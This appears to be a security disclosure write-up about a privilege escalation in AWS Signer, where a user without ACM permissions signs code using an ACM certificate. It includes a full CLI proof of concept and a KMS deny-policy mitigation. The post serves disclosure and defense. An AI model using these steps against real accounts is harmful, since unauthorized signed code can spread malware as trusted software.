Privilege Escalation via AWS Signer to Sign Code using Unauthorized ACM Certificate
AWS ACM has a missing security boundary that allows users with AWS Signer permissions, but without ACM permissions, to sign code using any ACM certificate within the same account. We reported it to AWS, and they've updated their documentation with interim mitigations while a permanent fix is developed.
AWS ACM has a missing security boundary that allows users with AWS Signer permissions, but without ACM permissions, to sign code using any ACM certificate within the same account. This bypasses critical security checks, enabling unauthorized code to be signed and potentially distributed as legitimate software, with significant risk of data breaches and system compromise.
We reported this to the AWS security team, who acknowledged it. They have updated their documentation with temporary measures while working towards a permanent fix.
Introduction
Code signing is a mechanism that ensures the authenticity and integrity of software by verifying that it hasn't been altered since it was signed. AWS Signer is a service designed to help securely sign code deployments, particularly for IoT devices, Lambda functions, and containers.
The security of the code signing process is critical. It ensures that software has not been tampered with and is from a trusted source. When attackers sign unauthorized code or containers, they can bypass security mechanisms that check for valid digital signatures before installation or execution. This enables malware distribution under the guise of legitimate software, leading to potential data breaches, system compromise, and widespread damage across affected networks.
Attack Description
AWS Signer uses ACM certificates to sign IoT code. Typically, when an AWS service accesses another service's resources, it requires either an IAM role or the caller's permissions. However, in this scenario, a user with AWS Signer permissions but without ACM permissions can use AWS Signer to sign code with any ACM certificate from the same account, without requiring an IAM role or caller permissions to access the ACM certificate.
Proof of Concept
Create an IAM user "alice" with full access to Signer and S3 (required for creating a signing job, as Signer uses caller permissions to sign code in S3). Note that "alice" has no ACM permissions.
$ aws iam create-user --user-name alice --profile adminCreate a custom Signer policy and attach it, along with the S3 full access policy, to "alice".
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "signer:*",
"Resource": "*"
}
]
}$ aws iam create-policy \
--policy-name AWSSignerFullAccessCustom \
--policy-document file://signer-policy.json \
--profile admin
$ aws iam attach-user-policy \
--user-name alice \
--policy-arn arn:aws:iam::123456789012:policy/AWSSignerFullAccessCustom \
--profile admin
$ aws iam attach-user-policy \
--user-name alice \
--policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess \
--profile adminGenerate a private key and certificate, then import them into ACM.
[ req ]
prompt = no
distinguished_name = my_dn
[ my_dn ]
commonName = test_signer@amazon.com
[ my_exts ]
keyUsage = digitalSignature
extendedKeyUsage = codeSigning$ openssl genpkey -algorithm EC \
-pkeyopt ec_paramgen_curve:P-256 \
-pkeyopt ec_param_enc:named_curve \
-outform PEM -out ecdsasigner.key
$ openssl req -new -x509 \
-config cert_config.txt \
-extensions my_exts \
-nodes -days 365 \
-key ecdsasigner.key \
-out ecdsasigner.crt
$ aws acm import-certificate \
--certificate fileb://ecdsasigner.crt \
--private-key fileb://ecdsasigner.key \
--profile admin --region us-east-1
{
"CertificateArn": "arn:aws:acm:us-east-1:123456789012:certificate/c2d6ae91-198f-48d7-8df0-4c788bdbf104"
}Optionally create a public key for later signature verification:
$ openssl ec -in ecdsasigner.key -pubout -out ecdsasigner.pub
read EC key
writing EC keyConfirm alice can't access the certificate directly:
$ aws acm get-certificate \
--certificate-arn arn:aws:acm:us-east-1:123456789012:certificate/c2d6ae91-198f-48d7-8df0-4c788bdbf104 \
--profile alice --region us-east-1
An error occurred (AccessDeniedException) when calling the GetCertificate operation:
User: arn:aws:iam::123456789012:user/alice is not authorized to perform:
acm:GetCertificate on resource: arn:aws:acm:us-east-1:123456789012:certificate/c2d6ae91-...
because no identity-based policy allows the acm:GetCertificate actionUsing the "alice" profile, create a signing profile referencing the ACM certificate, despite alice having no ACM permissions:
$ aws signer put-signing-profile \
--profile-name TestAcmProfile \
--platform-id 'AmazonFreeRTOS-Default' \
--signing-material '{"certificateArn":"arn:aws:acm:us-east-1:123456789012:certificate/c2d6ae91-xxxx-xxxx-xxxx-4c788bdbf104"}' \
--region us-east-1 --profile alice
{
"arn": "arn:aws:signer:us-east-1:123456789012:/signing-profiles/TestAcmProfile",
"profileVersion": "rsVYzNrf5p",
"profileVersionArn": "arn:aws:signer:us-east-1:123456789012:/signing-profiles/TestAcmProfile/rsVYzNrf5p"
}Sign file.zip in S3 using the signing profile. Alice successfully signs the file using the ACM certificate despite having no ACM permissions:
$ aws signer start-signing-job \
--profile-name TestAcmProfile \
--source '{"s3":{"bucketName":"testbucket1337","key":"file.zip","version":"null"}}' \
--destination '{"s3":{"bucketName":"testbucket1337","prefix":"folder1/"}}' \
--profile alice --region us-east-1
{
"jobId": "7f9a43e4-xxxx-xxxx-xxxx-6b3b27cfc66b",
"jobOwner": "123456789012"
}Download the signature from S3, extract the signature value, and verify it against the public key:
{"rawPayloadSize":358,"signature":"MEUCIFgj6prFvaMcEdAJ8876xrRAJwCGrN51R3SN9IWRNcYsAiEAuBB342jwkgq98l33oYucCAUs5QqytnC/0+ShQqrELpc=","signatureAlgorithm":"SHA256withECDSA","payload":"UEsDBAoAAAAIAAR8T1YkJOtO..."}$ jq -r '.signature' 7f9a43e4-xxxx-xxxx-xxxx-6b3b27cfc66b | base64 -d > signature.bin
$ openssl dgst -sha256 -verify ecdsasigner.pub -signature signature.bin file.zip
Verified OKProposed Security Measures
When we reported this vulnerability, AWS updated their documentation with interim solutions. A permanent fix (implementing a security boundary) is still in progress.
Since this vulnerability does not allow access to ACM certificates in other AWS accounts, segregate production certificates from non-production ones by maintaining them in separate accounts. This ensures production certificates remain protected from potential exploits in non-production environments.
kms:CreateGrantBecause ACM certificates use AWS managed keys for encryption, creating a signing profile requires the calling entity to create a KMS key grant to decrypt the ACM certificate. To prevent access to ACM certificates via AWS Signer, attach a deny for kms:CreateGrant to all entities with access to AWS Signer.
The following example policy prevents use of a specific certificate:
{
"Effect": "Deny",
"Action": "kms:CreateGrant",
"Resource": "*",
"Condition": {
"StringEquals": {
"kms:EncryptionContext:aws:acm:arn":
"arn:aws:acm:us-east-1:111122223333:certificate/b26def74-1234-4321-9876-951d4c07b197"
}
}
}If you are using AWS Signer, review all IAM entities and their permissions and implement the above security recommendations to prevent abuse of this missing security boundary.
